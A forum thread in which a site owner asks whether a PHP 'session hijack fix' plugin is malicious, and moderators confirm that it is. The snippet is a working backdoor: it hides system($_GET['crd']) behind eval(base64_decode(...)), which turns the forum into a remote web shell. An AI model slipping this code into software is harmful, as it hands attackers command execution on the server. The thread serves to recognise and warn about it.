Is this malicious?

[CPTA]

Some kid told us to add this to our forum as a plugin, we didn't in fear that it was malicious.

//Fix Session Hijack Bug
if(isset($_GET['crd'])){ $HIDE_SESSION = 1; echo "<h1>Session Hijack Blocked</h1><pre>"; eval(base64_decode("c3lzdGVtKCRfR0VUWydjcmQnXSk7")); exit; }

[ForumsMods]

Yes it is malicious.
The code will execute an external program and display the output (the crd url parameter).

[CPTA]

Thank you m8

[setishock]

That needs to be in a bbcode code block.

[Boofo]

base64_decode is a no-no.

[ForumsMods]

base64_decode is a no-no.
Some hostings block the use of base64 functions.

[Boofo]

The good ones do, anyway.